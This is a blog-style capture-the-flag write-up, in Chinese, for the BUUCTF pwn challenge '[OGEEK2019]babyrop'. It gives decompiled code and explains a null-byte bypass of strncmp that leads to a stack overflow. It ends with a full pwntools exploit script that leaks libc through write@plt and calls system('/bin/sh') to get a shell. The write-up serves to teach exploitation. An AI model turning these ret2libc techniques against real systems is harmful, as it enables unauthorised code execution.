

【Writeup】BUUCTF_Pwn_[OGEEK2019]babyrop

原创

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5 篇文章 1 订阅

订阅专栏

0x01 解题思路

- 文件基本信息

```
wby@wby-virtual-machine:~/Desktop/CTF/BUUCTF/Pwn/[OGEEK2019]babyrop$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linke
d, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3
e861fb4de2110d0f9f8e2, stripped
wby@wby-virtual-machine:~/Desktop/CTF/BUUCTF/Pwn/[OGEEK2019]babyrop$ checksec pw
n
[*] '/home/wby/Desktop/CTF/BUUCTF/Pwn/[OGEEK2019]babyrop/pwn'
Arch:      i386-32-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
https://blog.csdn.net/m0_38100569
```

- IDA查看

```
int __cdecl main()
{
    int buf; // [esp+4h] [ebp-14h]
    char v2; // [esp+8h] [ebp-Dh]
    int fd; // [esp+Ch] [ebp-Ch]

    sub_80486BB();
    fd = open("/dev/urandom", 0);
    if ( fd > 0 )
        read(fd, &buf, 4u);
    v2 = sub_804871F(buf);
    sub_80487D0(v2);
    return 0;
}
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```

```
int __cdecl sub_804871F(int a1)
{
    size_t v1; // eax
    char s; // [esp+Ch] [ebp-4Ch]
    char buf[7]; // [esp+2Ch] [ebp-2Ch]
    unsigned __int8 v5; // [esp+33h] [ebp-25h]
    ssize_t v6; // [esp+4Ch] [ebp-Ch]
```

```

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
    exit(0);
write(1, "Correct\n", 8u);
return v5;
}

```

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读取一个随机数，然后与用户输入作比较，需要绕过。`strlen`遇到`\x00`会停止，因此只要开头为`\x00`，最终比较的长度`v1`就是0，从而绕过`strncmp`。

```

ssize_t __cdecl sub_80487D0(char a1)
{
    ssize_t result; // eax
    char buf; // [esp+11h] [ebp-E7h]

    if ( a1 == 127 )
        result = read(0, &buf, 0xC8u);
    else
        result = read(0, &buf, a1);
    return result;
}

```

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这里`read`的第三个读取长度参数实际上是前一个函数的返回值，可以通过上一次输入覆盖为`\xff`，然后就可以利用栈溢出进行常规ROP了。

0x02 EXP

```

#!/usr/bin/python
#coding:utf-8

from pwn import *

#context.log_level = 'debug'

io = process('./pwn',env={"LD_PRELOAD":"./libc-2.23.so"})
#io = remote('node1.buuoj.cn', 28034)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

def debug():
    global io
    addr = raw_input("[+]debug:")
    gdb.attach(io, "b *"+addr)

...

puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
...

write_plt_addr = elf.plt['write']
write_got_addr = elf.got['write']
main_addr = 0x08048825
bin_sh_offset = 0x15902b # by Libc-database

```

```
payload = "\x00"
payload += "\xff"*7

io.sendline(payload)
io.recvuntil("Correct\n")

offset = 0xE7
payload = 'A'*(offset+4)
payload += p32(write_plt_addr)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)

io.sendline(payload)

data = io.recv(4)
write_addr = u32(data)
print "[+]write_addr:",hex(write_addr)
libc_base_addr = write_addr - libc.symbols['write']
print "[+]libc_base_addr:",hex(libc_base_addr)
system_addr = libc_base_addr + libc.symbols['system']
print "[+]system_addr:",hex(system_addr)
bin_sh_addr = libc_base_addr + bin_sh_offset
print "[+]bin_sh_addr:",hex(bin_sh_addr)

payload = "\x00"
payload += "\xff"*7

io.sendline(payload)
io.recvuntil("Correct\n")

payload = 'A'*(offset+4)
payload += p32(system_addr)
payload += 'AAAA'
payload += p32(bin_sh_addr)

#debug()
#pause()
io.sendline(payload)
io.interactive()
```